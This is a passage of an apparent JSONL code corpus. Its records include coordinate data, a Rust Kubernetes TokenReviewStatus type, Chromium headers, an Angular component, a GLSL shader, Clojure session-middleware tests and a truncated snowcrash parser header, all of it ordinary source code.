t1.143849E+01\t4.356324E+01\n\t1.143763E+01\t4.356304E+01\n\t1.143650E+01\t4.356298E+01\n\t1.143587E+01\t4.356298E+01\n\t1.143515E+01\t4.356297E+01\n\t1.143491E+01\t4.356296E+01\n\t1.143410E+01\t4.356265E+01\n\t1.143333E+01\t4.356252E+01\n\t1.143238E+01\t4.356219E+01\n\t1.143112E+01\t4.356198E+01\n\t1.143025E+01\t4.356195E+01\n\t1.142948E+01\t4.356184E+01\n\t1.142848E+01\t4.356147E+01\n\t1.142748E+01\t4.356111E+01\n\t1.142603E+01\t4.356098E+01\n\t1.142527E+01\t4.356089E+01\n\t1.142408E+01\t4.356080E+01\n\t1.142310E+01\t4.356087E+01\n\t1.142227E+01\t4.356082E+01\n\t1.142094E+01\t4.356054E+01\n\t1.141968E+01\t4.356048E+01\n\t1.141889E+01\t4.356023E+01\n\t1.141781E+01\t4.356009E+01\n\t1.141772E+01\t4.356011E+01\n\t1.141688E+01\t4.356025E+01\n\t1.141592E+01\t4.356041E+01\n\t1.141547E+01\t4.356072E+01\n\t1.141481E+01\t4.356084E+01\n\t1.141358E+01\t4.356117E+01\n\t1.141281E+01\t4.356100E+01\n\t1.141171E+01\t4.356049E+01\n\t1.141073E+01\t4.356044E+01\n\t1.140969E+01\t4.356074E+01\n\t1.140884E+01\t4.356092E+01\n\t1.140804E+01\t4.356072E+01\n\t1.140752E+01\t4.356097E+01\n\t1.140628E+01\t4.356158E+01\n\t1.140511E+01\t4.356223E+01\n\t1.140489E+01\t4.356280E+01\n\t1.140478E+01\t4.356378E+01\n\t1.140448E+01\t4.356491E+01\n\t1.140403E+01\t4.356570E+01\n\t1.140330E+01\t4.356668E+01\n\t1.140296E+01\t4.356762E+01\n\t1.140292E+01\t4.356771E+01\n\t1.140302E+01\t4.356896E+01\n\t1.140330E+01\t4.357034E+01\n\t1.140368E+01\t4.357186E+01\n\t1.140388E+01\t4.357260E+01\n\t1.140423E+01\t4.357391E+01\n\t1.140421E+01\t4.357479E+01\n\t1.140422E+01\t4.357577E+01\n\t1.140421E+01\t4.357684E+01\n\t1.140436E+01\t4.357791E+01\n\t1.140443E+01\t4.357906E+01\n\t1.140439E+01\t4.357999E+01\n\t1.140424E+01\t4.358087E+01\n\t1.140412E+01\t4.358165E+01\n\t1.140393E+01\t4.358244E+01\n\t1.140377E+01\t4.358307E+01\n\t1.140364E+01\t4.358359E+01\n\t1.140344E+01\t4.358405E+01\n\t1.140329E+01\t4.358448E+01\n\t1.140337E+01\t4.358480E+01\n\t1.140353E+01\t4.358516E+01\n\t1.140373E+01\t4.358565E+01\n\t1.140390E+01\t4.358616E+01\n\t1.140409E+01\t4.358672E+01\n\t1.140442E+01\t4.358738E+01\n\t1.140477E+01\t4.358803E+01\n\t1.140504E+01\t4.358848E+01\n\t1.140528E+01\t4.358906E+01\n\t1.140553E+01\t4.358966E+01\n\t1.140571E+01\t4.359051E+01\n\t1.140583E+01\t4.359124E+01\n\t1.140611E+01\t4.359206E+01\n\t1.140626E+01\t4.359279E+01\n\t1.140661E+01\t4.359370E+01\n\t1.140701E+01\t4.359451E+01\n\t1.140746E+01\t4.359523E+01\n\t1.140776E+01\t4.359562E+01\n\t1.140737E+01\t4.359571E+01\n\t1.140724E+01\t4.359570E+01\n\t1.140660E+01\t4.359569E+01\n\t1.140531E+01\t4.359576E+01\n\t1.140473E+01\t4.359600E+01\n\t1.140416E+01\t4.359654E+01\n\t1.140369E+01\t4.359727E+01\n\t1.140354E+01\t4.359790E+01\n\t1.140370E+01\t4.359858E+01\n\t1.140367E+01\t4.359868E+01\n\t1.140351E+01\t4.359907E+01\n\t1.140304E+01\t4.359959E+01\n\t1.140256E+01\t4.360003E+01\n\t1.140143E+01\t4.360047E+01\n\t1.140041E+01\t4.360054E+01\n\t1.139961E+01\t4.360051E+01\n\t1.139907E+01\t4.360016E+01\n\t1.139819E+01\t4.359941E+01\n\t1.139727E+01\t4.359866E+01\n\t1.139647E+01\t4.359821E+01\n\t1.139534E+01\t4.359754E+01\n\t1.139430E+01\t4.359754E+01\n\t1.139376E+01\t4.359779E+01\n\t1.139364E+01\t4.359785E+01\n\t1.139358E+01\t4.359788E+01\n\t1.139319E+01\t4.359841E+01\n\t1.139263E+01\t4.359890E+01\n\t1.139179E+01\t4.359935E+01\n\t1.139083E+01\t4.359986E+01\n\t1.139006E+01\t4.360031E+01\n\t1.138934E+01\t4.360105E+01\n\t1.138869E+01\t4.360149E+01\n\t1.138802E+01\t4.360212E+01\n\t1.138750E+01\t4.360288E+01\n\t1.138693E+01\t4.360354E+01\n\t1.138614E+01\t4.360435E+01\n\t1.138553E+01\t4.360489E+01\n\t1.138477E+01\t4.360514E+01\n\t1.138419E+01\t4.360567E+01\n\t1.138468E+01\t4.360619E+01\n\t1.138455E+01\t4.360664E+01\n\t1.138401E+01\t4.360685E+01\n\t1.138316E+01\t4.360704E+01\n\t1.138216E+01\t4.360737E+01\n\t1.138119E+01\t4.360749E+01\n\t1.138052E+01\t4.360733E+01\n\t1.137983E+01\t4.360722E+01\n\t1.137894E+01\t4.360739E+01\n\t1.137832E+01\t4.360745E+01\n\t1.137756E+01\t4.360781E+01\n\t1.137698E+01\t4.360827E+01\n\t1.137531E+01\t4.360877E+01\n\t1.137455E+01\t4.360926E+01\n\t1.137430E+01\t4.360963E+01\n\t1.137407E+01\t4.360998E+01\n\t1.137401E+01\t4.361005E+01\n\t1.137354E+01\t4.361055E+01\n\t1.137282E+01\t4.361069E+01\n\t1.137234E+01\t4.361074E+01\n\t1.137209E+01\t4.361101E+01\n\t1.137186E+01\t4.361162E+01\n\t1.137125E+01\t4.361226E+01\n\t1.137095E+01\t4.361339E+01\n\t1.137054E+01\t4.361499E+01\n\t1.137035E+01\t4.361564E+01\n\t1.137051E+01\t4.361598E+01\n\t1.137060E+01\t4.361617E+01\n\t1.137142E+01\t4.361681E+01\n\t1.137228E+01\t4.361734E+01\n\t1.137328E+01\t4.361787E+01\n\t1.137402E+01\t4.361810E+01\n\t1.137474E+01\t4.361863E+01\n\t1.137580E+01\t4.361921E+01\n\t1.137682E+01\t4.361970E+01\n\t1.137778E+01\t4.362019E+01\n\t1.137842E+01\t4.362069E+01\n\t1.137904E+01\t4.362145E+01\n\t1.137978E+01\t4.362233E+01\n\t1.138054E+01\t4.362306E+01\n\t1.138092E+01\t4.362376E+01\n\t1.138090E+01\t4.362382E+01\n\t1.138065E+01\t4.362436E+01\n\t1.138029E+01\t4.362470E+01\n\t1.137968E+01\t4.362493E+01\n\t1.137907E+01\t4.362543E+01\n\t1.137871E+01\t4.362598E+01\n\t1.137804E+01\t4.362676E+01\n\t1.137755E+01\t4.362727E+01\n\t1.137677E+01\t4.362775E+01\n\t1.137602E+01\t4.362796E+01\n\t1.137515E+01\t4.362796E+01\n\t1.137426E+01\t4.362802E+01\n\t1.137357E+01\t4.362843E+01\n\t1.137275E+01\t4.362904E+01\n\t1.137216E+01\t4.362965E+01\n\t1.137122E+01\t4.363035E+01\n\t1.137031E+01\t4.363097E+01\n\t1.136933E+01\t4.363158E+01\n\t1.136839E+01\t4.363198E+01\n\t1.136827E+01\t4.363230E+01\n\t1.136878E+01\t4.363256E+01\n\t1.136923E+01\t4.363281E+01\n\t1.136982E+01\t4.363314E+01\n\t1.137072E+01\t4.363325E+01\n\t1.137116E+01\t4.363332E+01\n\t1.137125E+01\t4.363361E+01\n\t1.137147E+01\t4.363404E+01\n\t1.137181E+01\t4.363435E+01\n\t1.137258E+01\t4.363460E+01\n\t1.137328E+01\t4.363492E+01\n\t1.137334E+01\t4.363498E+01\n\t1.137372E+01\t4.363538E+01\n\t1.137400E+01\t4.363587E+01\n\t1.137449E+01\t4.363653E+01\n\t1.137490E+01\t4.363705E+01\n\t1.137513E+01\t4.363750E+01\n\t1.137525E+01\t4.363830E+01\n\t1.137533E+01\t4.363944E+01\n\t1.137545E+01\t4.364020E+01\n\t1.137583E+01\t4.364072E+01\n\t1.137596E+01\t4.364110E+01\n\t1.137603E+01\t4.364132E+01\n\t1.137606E+01\t4.364167E+01\n\t1.137651E+01\t4.364227E+01\n\t1.137751E+01\t4.364316E+01\n\t1.137807E+01\t4.364371E+01\n\t1.137884E+01\t4.364439E+01\n\t1.137927E+01\t4.364504E+01\n\t1.137971E+01\t4.364584E+01\n\t1.138012E+01\t4.364673E+01\n\t1.138045E+01\t4.364744E+01\n\t1.138109E+01\t4.364798E+01\n\t1.138131E+01\t4.364817E+01\n\t1.138219E+01\t4.364878E+01\n\t1.138341E+01\t4.364954E+01\n\t1.138413E+01\t4.365004E+01\n\t1.138431E+01\t4.365017E+01\n\t1.138565E+01\t4.365079E+01\n\t1.138651E+01\t4.365133E+01\n\t1.138677E+01\t4.365182E+01\n\t1.138724E+01\t4.365242E+01\n\t1.138806E+01\t4.365187E+01\n\t1.138848E+01\t4.365123E+01\n\t1.138865E+01\t4.365050E+01\n\t1.138871E+01\t4.364973E+01\n\t1.138901E+01\t4.364911E+01\n\t1.138983E+01\t4.364866E+01\n\t1.139109E+01\t4.364841E+01\n\t1.139145E+01\t4.364861E+01\n\t1.139159E+01\t4.364891E+01\n\t1.139176E+01\t4.364934E+01\n\t1.139195E+01\t4.364965E+01\n\t1.139224E+01\t4.364990E+01\n\t1.139240E+01\t4.364994E+01\n\t1.139269E+01\t4.364998E+01\n\t1.139347E+01\t4.365032E+01\n\t1.139417E+01\t4.365077E+01\n\t1.139439E+01\t4.365108E+01\n\t1.139442E+01\t4.365127E+01\n\t1.139444E+01\t4.365157E+01\n\t1.139442E+01\t4.365165E+01\n\t1.139440E+01\t4.365172E+01\n\t1.139435E+01\t4.365191E+01\n\t1.139431E+01\t4.365206E+01\n\t1.139400E+01\t4.365278E+01\n\t1.139380E+01\t4.365300E+01\n\t1.139362E+01\t4.365320E+01\n\t1.139361E+01\t4.365332E+01\n\t1.139359E+01\t4.365350E+01\n\t1.139358E+01\t4.365357E+01\n\t1.139361E+01\t4.365365E+01\n\t1.139365E+01\t4.365381E+01\n\t1.139373E+01\t4.365409E+01\n\t1.139375E+01\t4.365416E+01\n\t1.139398E+01\t4.365476E+01\n\t1.139458E+01\t4.365499E+01\n\t1.139548E+01\t4.365519E+01\n\t1.139679E+01\t4.365529E+01\n\t1.139753E+01\t4.365541E+01\n\t1.139761E+01\t4.365552E+01\n\t1.139783E+01\t4.365585E+01\n\t1.139772E+01\t4.365634E+01\n\t1.139766E+01\t4.365639E+01\n\t1.139705E+01\t4.365689E+01\n\t1.139652E+01\t4.365712E+01\n\t1.139641E+01\t4.365717E+01\n\t1.139566E+01\t4.365747E+01\n\t1.139478E+01\t4.365788E+01\n\t1.139442E+01\t4.365834E+01\n\t1.139452E+01\t4.365926E+01\n\t1.139456E+01\t4.365996E+01\n\t1.139410E+01\t4.366043E+01\n\t1.139314E+01\t4.366077E+01\n\t1.139222E+01\t4.366116E+01\n\t1.139184E+01\t4.366168E+01\n\t1.139168E+01\t4.366228E+01\n\t1.139161E+01\t4.366257E+01\n\t1.139155E+01\t4.366361E+01\n\t1.139167E+01\t4.366446E+01\n\t1.139196E+01\t4.366521E+01\n\t1.139235E+01\t4.366592E+01\n\t1.139272E+01\t4.366657E+01\n\t1.139279E+01\t4.366739E+01\n\t1.139290E+01\t4.366777E+01\n\t1.139289E+01\t4.366822E+01\n\t1.139276E+01\t4.366871E+01\n\t1.139259E+01\t4.366952E+01\n\t1.139242E+01\t4.367044E+01\n\t1.139192E+01\t4.367107E+01\n\t1.139144E+01\t4.367144E+01\n\t1.139099E+01\t4.367198E+01\n\t1.139044E+01\t4.367268E+01\n\t1.139000E+01\t4.367319E+01\n\t1.138971E+01\t4.367352E+01\n\t1.138915E+01\t4.367455E+01\n\t1.138869E+01\t4.367545E+01\n\t1.138825E+01\t4.367624E+01\n\t1.138820E+01\t4.367683E+01\n\t1.138848E+01\t4.367735E+01\n\t1.138867E+01\t4.367790E+01\n\t1.138868E+01\t4.367837E+01\n\t1.138864E+01\t4.367917E+01\n\t1.138849E+01\t4.368008E+01\n\t1.138828E+01\t4.368083E+01\n\t1.138780E+01\t4.368157E+01\n\t1.138729E+01\t4.368236E+01\n\t1.138657E+01\t4.368336E+01\n\t1.138621E+01\t4.368390E+01\n\t1.138577E+01\t4.368454E+01\n\t1.138493E+01\t4.368551E+01\n\t1.138482E+01\t4.368623E+01\nEND\nEND\n"} +{"text": "// Generated from definition io.k8s.api.authentication.v1beta1.TokenReviewStatus\n\n/// TokenReviewStatus is the result of the token authentication request.\n#[derive(Clone, Debug, Default, PartialEq)]\npub struct TokenReviewStatus {\n /// Audiences are audience identifiers chosen by the authenticator that are compatible with both the TokenReview and token. An identifier is any identifier in the intersection of the TokenReviewSpec audiences and the token's audiences. A client of the TokenReview API that sets the spec.audiences field should validate that a compatible audience identifier is returned in the status.audiences field to ensure that the TokenReview server is audience aware. If a TokenReview returns an empty status.audience field where status.authenticated is \"true\", the token is valid against the audience of the Kubernetes API server.\n pub audiences: Option>,\n\n /// Authenticated indicates that the token was associated with a known user.\n pub authenticated: Option,\n\n /// Error indicates that the token couldn't be checked\n pub error: Option,\n\n /// User is the UserInfo associated with the provided token.\n pub user: Option,\n}\n\nimpl<'de> serde::Deserialize<'de> for TokenReviewStatus {\n fn deserialize(deserializer: D) -> Result where D: serde::Deserializer<'de> {\n #[allow(non_camel_case_types)]\n enum Field {\n Key_audiences,\n Key_authenticated,\n Key_error,\n Key_user,\n Other,\n }\n\n impl<'de> serde::Deserialize<'de> for Field {\n fn deserialize(deserializer: D) -> Result where D: serde::Deserializer<'de> {\n struct Visitor;\n\n impl<'de> serde::de::Visitor<'de> for Visitor {\n type Value = Field;\n\n fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n f.write_str(\"field identifier\")\n }\n\n fn visit_str(self, v: &str) -> Result where E: serde::de::Error {\n Ok(match v {\n \"audiences\" => Field::Key_audiences,\n \"authenticated\" => Field::Key_authenticated,\n \"error\" => Field::Key_error,\n \"user\" => Field::Key_user,\n _ => Field::Other,\n })\n }\n }\n\n deserializer.deserialize_identifier(Visitor)\n }\n }\n\n struct Visitor;\n\n impl<'de> serde::de::Visitor<'de> for Visitor {\n type Value = TokenReviewStatus;\n\n fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {\n f.write_str(\"TokenReviewStatus\")\n }\n\n fn visit_map(self, mut map: A) -> Result where A: serde::de::MapAccess<'de> {\n let mut value_audiences: Option> = None;\n let mut value_authenticated: Option = None;\n let mut value_error: Option = None;\n let mut value_user: Option = None;\n\n while let Some(key) = serde::de::MapAccess::next_key::(&mut map)? {\n match key {\n Field::Key_audiences => value_audiences = serde::de::MapAccess::next_value(&mut map)?,\n Field::Key_authenticated => value_authenticated = serde::de::MapAccess::next_value(&mut map)?,\n Field::Key_error => value_error = serde::de::MapAccess::next_value(&mut map)?,\n Field::Key_user => value_user = serde::de::MapAccess::next_value(&mut map)?,\n Field::Other => { let _: serde::de::IgnoredAny = serde::de::MapAccess::next_value(&mut map)?; },\n }\n }\n\n Ok(TokenReviewStatus {\n audiences: value_audiences,\n authenticated: value_authenticated,\n error: value_error,\n user: value_user,\n })\n }\n }\n\n deserializer.deserialize_struct(\n \"TokenReviewStatus\",\n &[\n \"audiences\",\n \"authenticated\",\n \"error\",\n \"user\",\n ],\n Visitor,\n )\n }\n}\n\nimpl serde::Serialize for TokenReviewStatus {\n fn serialize(&self, serializer: S) -> Result where S: serde::Serializer {\n let mut state = serializer.serialize_struct(\n \"TokenReviewStatus\",\n self.audiences.as_ref().map_or(0, |_| 1) +\n self.authenticated.as_ref().map_or(0, |_| 1) +\n self.error.as_ref().map_or(0, |_| 1) +\n self.user.as_ref().map_or(0, |_| 1),\n )?;\n if let Some(value) = &self.audiences {\n serde::ser::SerializeStruct::serialize_field(&mut state, \"audiences\", value)?;\n }\n if let Some(value) = &self.authenticated {\n serde::ser::SerializeStruct::serialize_field(&mut state, \"authenticated\", value)?;\n }\n if let Some(value) = &self.error {\n serde::ser::SerializeStruct::serialize_field(&mut state, \"error\", value)?;\n }\n if let Some(value) = &self.user {\n serde::ser::SerializeStruct::serialize_field(&mut state, \"user\", value)?;\n }\n serde::ser::SerializeStruct::end(state)\n }\n}\n"} +{"text": "// Copyright 2016 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef THIRD_PARTY_BLINK_RENDERER_MODULES_SHAPEDETECTION_BARCODE_DETECTOR_H_\n#define THIRD_PARTY_BLINK_RENDERER_MODULES_SHAPEDETECTION_BARCODE_DETECTOR_H_\n\n#include \"mojo/public/cpp/bindings/remote.h\"\n#include \"services/shape_detection/public/mojom/barcodedetection.mojom-blink.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/script_promise.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/script_promise_resolver.h\"\n#include \"third_party/blink/renderer/modules/canvas/canvas2d/canvas_rendering_context_2d.h\"\n#include \"third_party/blink/renderer/modules/modules_export.h\"\n#include \"third_party/blink/renderer/modules/shapedetection/shape_detector.h\"\n\nnamespace blink {\n\nclass ExecutionContext;\nclass BarcodeDetectorOptions;\n\nclass MODULES_EXPORT BarcodeDetector final : public ShapeDetector {\n DEFINE_WRAPPERTYPEINFO();\n\n public:\n static BarcodeDetector* Create(ExecutionContext*,\n const BarcodeDetectorOptions*,\n ExceptionState& exception_state);\n\n // Barcode Detection API functions.\n static ScriptPromise getSupportedFormats(ScriptState*);\n\n explicit BarcodeDetector(ExecutionContext*,\n const BarcodeDetectorOptions*,\n ExceptionState& exception_state);\n\n void Trace(blink::Visitor*) override;\n\n private:\n ~BarcodeDetector() override = default;\n\n ScriptPromise DoDetect(ScriptPromiseResolver*, SkBitmap) override;\n void OnDetectBarcodes(\n ScriptPromiseResolver*,\n Vector);\n\n void OnConnectionError();\n\n mojo::Remote service_;\n\n HeapHashSet> detect_requests_;\n};\n\n} // namespace blink\n\n#endif // THIRD_PARTY_BLINK_RENDERER_MODULES_SHAPEDETECTION_BARCODE_DETECTOR_H_\n"} +{"text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app2-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n title = 'app2';\n}\n"} +{"text": "\n\n\n \n \n\n \n\n \n \n\n \n\n \n \n\n \n\n"} +{"text": "#version 450\n#pragma shader_stage( vertex )\n\n#extension GL_ARB_separate_shader_objects : enable\n\nlayout( location = 0 ) in vec3 in_Position;\nlayout( location = 1 ) in vec2 in_TexCoord;\n\nlayout( location = 0 ) out vec2 out_TexCoord0;\n\nvoid main() {\n\tgl_Position = vec4( in_Position, 1.0 );\n\tout_TexCoord0 = in_TexCoord;\n}"} +{"text": "(ns macchiato.test.middleware.session\n (:require\n [cuerdas.core :as string]\n [macchiato.middleware.session.store :as store]\n [macchiato.middleware.session.memory :as memory]\n [macchiato.middleware.session :as session]\n [macchiato.test.mock.util :refer [mock-handler ok-response raw-response]]\n [macchiato.util.response :refer [ok get-header]]\n [macchiato.test.mock.request :refer [header request]]\n [cljs.test :refer-macros [is are deftest testing use-fixtures]]))\n\n(defn trace-fn [f]\n (let [trace (atom [])]\n (with-meta\n (fn [& args]\n (swap! trace conj args)\n (apply f args))\n {:trace trace})))\n\n(defn trace [f]\n (-> f meta :trace deref))\n\n(defn- make-store [reader writer deleter]\n (reify store/SessionStore\n (read-session [_ k] (reader k))\n (write-session [_ k s] (writer k s))\n (delete-session [_ k] (deleter k))))\n\n(defn get-session-cookie [response]\n (get-in response [:cookies \"macchiato-session\"]))\n\n(deftest session-is-read\n (let [session-atom (atom {})\n reader (trace-fn (constantly {:bar \"foo\"}))\n writer (trace-fn (constantly nil))\n deleter (trace-fn (constantly nil))\n store (make-store reader writer deleter)\n handler (trace-fn (raw-response {}))\n handler* (mock-handler session/wrap-session handler {:store store})]\n (handler* {:cookies {\"macchiato-session\" {:value \"test\"}}})\n (is (= (trace reader) [[\"test\"]]))\n (is (= (trace writer) []))\n (is (= (trace deleter) []))\n (is (= (-> handler trace first first :session)\n {:bar \"foo\"}))))\n\n(deftest session-is-written\n (let [reader (trace-fn (constantly {}))\n writer (trace-fn (constantly nil))\n deleter (trace-fn (constantly nil))\n store (make-store reader writer deleter)\n handler (raw-response {:session {:foo \"bar\"}})\n handler (mock-handler session/wrap-session handler {:store store})]\n (handler {:cookies {}})\n (is (= (trace reader) [[nil]]))\n (is (= (trace writer) [[nil {:foo \"bar\"}]]))\n (is (= (trace deleter) []))))\n\n(deftest session-is-deleted\n (let [reader (trace-fn (constantly {}))\n writer (trace-fn (constantly nil))\n deleter (trace-fn (constantly nil))\n store (make-store reader writer deleter)\n handler (raw-response {:session nil})\n handler (mock-handler session/wrap-session handler {:store store})]\n (handler {:cookies {\"macchiato-session\" {:value \"test\"}}})\n (is (= (trace reader) [[\"test\"]]))\n (is (= (trace writer) []))\n (is (= (trace deleter) [[\"test\"]]))))\n\n\n(deftest session-write-outputs-cookie\n (let [store (make-store (constantly {})\n (constantly \"foo:bar\")\n (constantly nil))\n handler (raw-response {:session {:foo \"bar\"}})\n handler (mock-handler session/wrap-session handler {:store store})\n response (handler {:cookies {}})]\n (is (get-session-cookie response))))\n\n(deftest session-delete-outputs-cookie\n (let [store (make-store (constantly {:foo \"bar\"})\n (constantly nil)\n (constantly \"deleted\"))\n handler (raw-response {:session nil})\n handler (mock-handler session/wrap-session handler {:store store})\n response (handler {:cookies {\"macchiato-session\" {:value \"foo:bar\"}}})]\n (is (= (:value (get-session-cookie response)) \"deleted\"))))\n\n(deftest session-cookie-has-attributes\n (let [store (make-store (constantly {})\n (constantly \"foo:bar\")\n (constantly nil))\n handler (raw-response {:session {:foo \"bar\"}})\n handler (mock-handler session/wrap-session handler {:store store\n :cookie-attrs {:max-age 5 :path \"/foo\"}})\n response (handler {:cookies {}})\n session-cookie (get-session-cookie response)]\n (is (= session-cookie {:path \"/foo\", :http-only true, :max-age 5, :value \"foo:bar\"}))))\n\n(deftest session-does-not-clobber-response-cookies\n (let [store (make-store (constantly {})\n (constantly \"foo:bar\")\n (constantly nil))\n handler (raw-response {:session {:foo \"bar\"}\n :cookies {\"cookie2\" \"value2\"}})\n handler (mock-handler session/wrap-session handler {:store store :cookie-attrs {:max-age 5}})\n response (handler {:cookies {}})]\n (is (= response {:cookies {\"cookie2\" \"value2\", \"macchiato-session\" {:path \"/\", :http-only true, :max-age 5, :value \"foo:bar\"}}}))))\n\n\n(deftest session-root-can-be-set\n (let [store (make-store (constantly {})\n (constantly \"foo:bar\")\n (constantly nil))\n handler (raw-response {:session {:foo \"bar\"}})\n handler (mock-handler session/wrap-session handler {:store store, :root \"/foo\"})\n response (handler {:cookies {}})]\n (is (= response {:cookies {\"macchiato-session\" {:path \"/foo\", :http-only true, :value \"foo:bar\"}}}))))\n\n(deftest session-attrs-can-be-set-per-request\n (let [store (make-store (constantly {})\n (constantly \"foo:bar\")\n (constantly nil))\n handler (raw-response {:session {:foo \"bar\"}\n :session-cookie-attrs {:max-age 5}})\n handler (mock-handler session/wrap-session handler {:store store})\n response (handler {:cookies {}})]\n (is (= response {:cookies {\"macchiato-session\" {:path \"/\", :http-only true, :max-age 5, :value \"foo:bar\"}}}))))\n\n(deftest cookie-attrs-override-is-respected\n (let [store (make-store (constantly {})\n (constantly {})\n (constantly nil))\n handler (raw-response {:session {}})\n handler (mock-handler session/wrap-session handler {:store store :cookie-attrs {:http-only false}})\n response (handler {:cookies {}})]\n (is (= response {:cookies {\"macchiato-session\" {:path \"/\", :http-only false, :value {}}}}))\n #_(is (not (.contains (get-session-cookie response)\n \"HttpOnly\")))))\n\n(deftest session-response-is-nil\n (let [handler (mock-handler session/wrap-session (constantly nil))]\n (is (nil? (handler {})))))\n\n(deftest session-made-up-key\n (let [store-ref (atom {})\n store (make-store\n #(@store-ref %)\n #(do (swap! store-ref assoc %1 %2) %1)\n #(do (swap! store-ref dissoc %) nil))\n handler (mock-handler session/wrap-session\n (raw-response {:session {:foo \"bar\"}})\n {:store store})]\n (handler {:cookies {\"macchiato-session\" {:value \"faked-key\"}}})\n (is (not (contains? @store-ref \"faked-key\")))))\n\n(deftest session-request-test\n (is (fn? session/session-request)))\n\n(deftest session-response-test\n (is (fn? session/session-response)))\n\n(deftest session-cookie-attrs-change\n (let [a-resp (atom {:session {:foo \"bar\"}})\n handler (mock-handler session/wrap-session (fn [_ res _] (res @a-resp)))\n response (handler {})\n sess-key (->> (get-in response [:cookies \"macchiato-session\" :path])\n #_(re-find #\"(?<==)[^;]+\"))]\n (is (= sess-key \"/\"))\n (reset! a-resp {:session-cookie-attrs {:max-age 3600}})\n\n (testing \"Session cookie attrs with no active session\"\n (is (= (handler {}) {})))))\n\n(deftest session-is-recreated-when-recreate-key-present-in-metadata\n (let [reader (trace-fn (constantly {}))\n writer (trace-fn (constantly nil))\n deleter (trace-fn (constantly nil))\n store (make-store reader writer deleter)\n handler (raw-response {:session ^:recreate {:foo \"bar\"}})\n handler (mock-handler session/wrap-session handler {:store store})]\n (handler {:cookies {\"macchiato-session\" {:value \"test\"}}})\n (is (= (trace reader) [[\"test\"]]))\n (is (= (trace writer) [[nil {:foo \"bar\"}]]))\n (is (= (trace deleter) [[\"test\"]]))\n (testing \"session was not written with :recreate metadata intact\"\n (let [[[_ written]] (trace writer)]\n (is (not (:recreate (meta written))))))))\n"} +{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_COMMON_REFERRER_H_\n#define CONTENT_PUBLIC_COMMON_REFERRER_H_\n\n#include \"content/common/content_export.h\"\n#include \"net/url_request/url_request.h\"\n#include \"services/network/public/mojom/referrer_policy.mojom-shared.h\"\n#include \"third_party/blink/public/mojom/referrer.mojom-forward.h\"\n#include \"url/gurl.h\"\n\nnamespace content {\n\n// This struct holds a referrer URL, as well as the referrer policy to be\n// applied to this URL. When passing around referrers that will eventually end\n// up being used for URL requests, always use this struct.\n//\n// TODO(leonhsl): Replace this struct everywhere with blink::mojom::Referrer.\n\nstruct CONTENT_EXPORT Referrer {\n Referrer(const GURL& url, network::mojom::ReferrerPolicy policy)\n : url(url), policy(policy) {}\n Referrer() : policy(network::mojom::ReferrerPolicy::kDefault) {}\n explicit Referrer(const blink::mojom::Referrer& referrer);\n\n GURL url;\n network::mojom::ReferrerPolicy policy;\n\n static Referrer SanitizeForRequest(const GURL& request,\n const Referrer& referrer);\n static blink::mojom::ReferrerPtr SanitizeForRequest(\n const GURL& request,\n const blink::mojom::Referrer& referrer);\n\n // Returns |initiator| origin sanitized by |policy| so that it can be used\n // when requesting |request| URL.\n //\n // Note that the URL-based sanitization (e.g. SanitizeForRequest above) cannot\n // be used for cases where the referrer URL is missing (e.g. about:blank) but\n // the initiator origin still needs to be used (e.g. when calculating the\n // value of the `Origin` header to use in a POST request).\n static url::Origin SanitizeOriginForRequest(\n const GURL& request,\n const url::Origin& initiator,\n network::mojom::ReferrerPolicy policy);\n\n static net::URLRequest::ReferrerPolicy ReferrerPolicyForUrlRequest(\n network::mojom::ReferrerPolicy referrer_policy);\n\n static network::mojom::ReferrerPolicy NetReferrerPolicyToBlinkReferrerPolicy(\n net::URLRequest::ReferrerPolicy net_policy);\n\n static net::URLRequest::ReferrerPolicy GetDefaultReferrerPolicy();\n\n // Configures retaining the pre-M80 default referrer\n // policy of no-referrer-when-downgrade.\n // TODO(crbug.com/1016541): After M82, remove when the corresponding\n // enterprise policy has been deleted.\n static void SetForceLegacyDefaultReferrerPolicy(bool force);\n static bool ShouldForceLegacyDefaultReferrerPolicy();\n\n // Validates |policy| to make sure it represents one of the valid\n // net::mojom::ReferrerPolicy enum values and returns it. The relatively safe\n // |kNever| value is returned if |policy| is not a valid value.\n static network::mojom::ReferrerPolicy ConvertToPolicy(int32_t policy);\n};\n\n} // namespace content\n\n#endif // CONTENT_PUBLIC_COMMON_REFERRER_H_\n"} +{"text": "//\n// DataStructureGroupParser.h\n// snowcrash\n//\n// Created by Pavan Kumar Sunkara on 02/12/14.\n// Copyright (c) 2014 Apiary Inc. All rights reserved.\n//\n\n#ifndef SNOWCRASH_DATASTRUCTUREGROUPPARSER_H\n#define SNOWCRASH_DATASTRUCTUREGROUPPARSER_H\n\n#include \"MSONNamedTypeParser.h\"\n\nusing namespace scpl;\n\nnamespace snowcrash\n{\n\n /** Data structure group matching regex */\n const char* const DataStructureGroupRegex = \"^[[:blank:]]*[Dd]ata[[:blank:]]+[Ss]tructures?[[:blank:]]*$\";\n\n /**\n * Data structure group section processor\n */\n template <>\n struct SectionProcessor : public SectionProcessorBase {\n\n NO_SECTION_DESCRIPTION(DataStructureGroup)\n\n static MarkdownNodeIterator processNestedSection(const MarkdownNodeIterator& node,\n const MarkdownNodes& siblings,\n SectionParserData& pd,\n const ParseResultRef& out)\n {\n\n MarkdownNodeIterator cur = node;\n\n if (pd.sectionContext() == MSONNamedTypeSectionType) {\n\n IntermediateParseResult namedType(out.report);\n cur = MSONNamedTypeParser::parse(node, siblings, pd, namedType);\n\n if (isNamedTypeDuplicate(pd.blueprint, namedType.node.name.symbol.literal)) {\n\n // WARN: duplicate named type\n std::stringstream ss;\n ss << \"named type with name '\" << namedType.node.name.symbol.literal << \"' already exists\";\n\n mdp::CharactersRangeSet sourceMap\n = mdp::BytesRangeSetToCharactersRangeSet(node->sourceMap, pd.sourceCharacterIndex);\n out.report.warnings.push_back(Warning(ss.str(), DuplicateWarning, sourceMap));\n return cur;\n }\n\n Element element(Element::DataStructureElement);\n element.content.dataStructure = namedType.node;\n\n 